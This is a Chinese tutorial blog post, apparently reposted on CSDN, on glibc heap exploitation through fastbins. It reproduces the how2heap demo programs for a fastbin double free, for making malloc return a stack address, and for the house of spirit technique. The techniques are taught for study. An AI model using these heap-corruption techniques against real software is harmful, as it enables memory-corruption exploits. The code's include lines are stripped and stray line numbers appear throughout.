linux适当堆内存,linux堆内存漏洞利用之fastbin

背景介绍

在前一节主要介绍了Glibc的堆内存管理的机制,在上一节的基础上,我打算介绍一下针对Glibc堆内存管理的攻击。此系列我打算按攻击面是哪一个bin来展开,主要分为:

fastbin的攻击

smallbin的攻击

largebin的攻击

unsorted bin的攻击

top chunk的攻击

本文主要介绍fastbin的攻击

fastbin漏洞利用

具体的fastbin的介绍请参考前一节和 Linux堆内存管理深入分析(下),在本节中主要结合how2heap的代码来介绍一下具体的漏洞利用思路。

fastbin double free

double free的意思就是一个malloc的指针被释放了两次,由于针对fastbin的free处理只是对double free做了简单的判断,所以很容易绕过它的double free判断。free() fastbin时的判断如下所示:

1

2

3

4

5

6

7/* Check that the top of the bin is not the record we are going to add

(i.e., double free). */

if (__builtin_expect (old == p, 0))

{

errstr = "double free or corruption (fasttop)";

goto errout;

}

其中old指针为fast bin的头指针,即此处只是判断fastbin的头指针和p指针是否一致。所以fastbin double free的攻击思路就是我们只要保证要double free的chunk不在fastbin的头部即可。

具体的攻击示例如下:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33#include

#include

int main()

{

printf("This file demonstrates a simple double-free attack with fastbins.\n");

printf("Allocating 3 buffers.\n");

int *a = malloc(8);

int *b = malloc(8);

int *c = malloc(8);

printf("1st malloc(8): %p\n", a);

printf("2nd malloc(8): %p\n", b);

printf("3rd malloc(8): %p\n", c);

printf("Freeing the first one...\n");

free(a);

printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);

// free(a);

printf("So, instead, we'll free %p.\n", b);

free(b);

printf("Now, we can free %p again, since it's not the head of the free list.\n", a);

free(a);

printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);

printf("1st malloc(8): %p\n", malloc(8));

printf("2nd malloc(8): %p\n", malloc(8));

printf("3rd malloc(8): %p\n", malloc(8));

}

在此示例中,首先申请三个大小为8的int数组,然后先free(a),由于fast bin是一个单链表,在插入和删除的时候只在头部进行,所以此时将a的chunk放入了fast bin的头部,随后又free(b),此时fast bin的头部为chunk b,随后又free(a),此时由于fast bin的头部为chunk b,所以在free()的时候进行判断old == p不会抛出错误进而绕过这个简单的判断处理。再进行malloc的时候首先会从fast bin的头部进行删除,则接下来第一个分配的chunk为chunk A,第二个分配的为chunk B,接下来会再次分配chunk A。

绕过示例结果如下所示:

00757ba6ca3f4f48e275bd4cadd82f32.png

fast bin double free in stack

上面的那个例子只是简单的一个double free,这个例子是利用double free漏洞在栈中构造了一个fake chunk。

其具体的示例如下所示:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52#include

#include

int main()

{

printf("This file extends on fastbin_dup.c by tricking malloc into\n"

"returning a pointer to a controlled location (in this case, the stack).\n");

unsigned long long stack_var;

printf("The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

printf("Allocating 3 buffers.\n");

int *a = malloc(8);

int *b = malloc(8);

int *c = malloc(8);

printf("1st malloc(8): %p\n", a);

printf("2nd malloc(8): %p\n", b);

printf("3rd malloc(8): %p\n", c);

printf("Freeing the first one...\n");

free(a);

printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);

// free(a);

printf("So, instead, we'll free %p.\n", b);

free(b);

printf("Now, we can free %p again, since it's not the head of the free list.\n", a);

free(a);

printf("Now the free list has [ %p, %p, %p ]. "

"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);

unsigned long long *d = malloc(8);

printf("1st malloc(8): %p\n", d);

printf("2nd malloc(8): %p\n", malloc(8));

printf("Now the free list has [ %p ].\n", a);

printf("Now, we have access to %p while it remains at the head of the free list.\n"

"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"

"so that malloc will think there is a free chunk there and agree to\n"

"return a pointer to it.\n", a);

stack_var = 0x20;

printf("Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);

*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

printf("3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));

printf("4th malloc(8): %p\n", malloc(8));

}

在以上代码中,当d被malloc的时候,此时还有对应的chunk a在fast bin中,所以如果对d进行修改,也会影响到chunk a的值。我们知道malloced chunk和freed chunk对应的结构不一样,对与同一个chunk A来说,有两种形式–对于d来说,其对应的是malloced chunk,而其在fast bin中还有一个freed chunk。

其示例如图所示:

2af4e532aa79dd1a6e795fe4d96bdd16.png

可以看到d(payload开始地址)正好对应了chunk A的fd指针,将d的值赋值为&stack_var-8,则 stack_var=0x20即为在栈中伪造的chunk的size=0x20,与此fast bin的大小对应,此时chunk A的fd指向了在栈中伪造的chunk,此时就将伪造的chunk放入了fastbin链表中。进而malloc可以返回伪造的指针。

该示例代码的运行结果如下所示:

b6760b8b8f901601e7bba1350d145cec.png

The house of spirit

此攻击也是在栈中伪造fake chunk,和第二个攻击不同的是其只是在栈中声明了一个指针,而并没有通过malloc()函数来在堆中申请空间,接着将该指针赋值为特定的伪造的chunk的地址,随后free该指针,就将在栈中伪造的chunk添加到对应的fastbin中去了。具体的示例如下所示:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35#include

#include

int main()

{

printf("This file demonstrates the house of spirit attack.\n");

printf("Calling malloc() once so that it sets up its memory.\n");

malloc(1);

printf("We will now overwrite a pointer to point to a fake 'fastbin' region.\n");

unsigned long long *a;

// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)

unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

printf("This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[7]);

printf("This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");

printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");

fake_chunks[1] = 0x40; // this is the size

printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");

// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8

fake_chunks[9] = 0x1234; // nextsize

printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);

printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");

a = &fake_chunks[2];

printf("Freeing the overwritten pointer.\n");

free(a);

printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);

printf("malloc(0x30): %p\n", malloc(0x30));

}

示例的结果如下图所示:

d302d2e410bbe5cf0ff1ff810d3436cc.png

参考

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值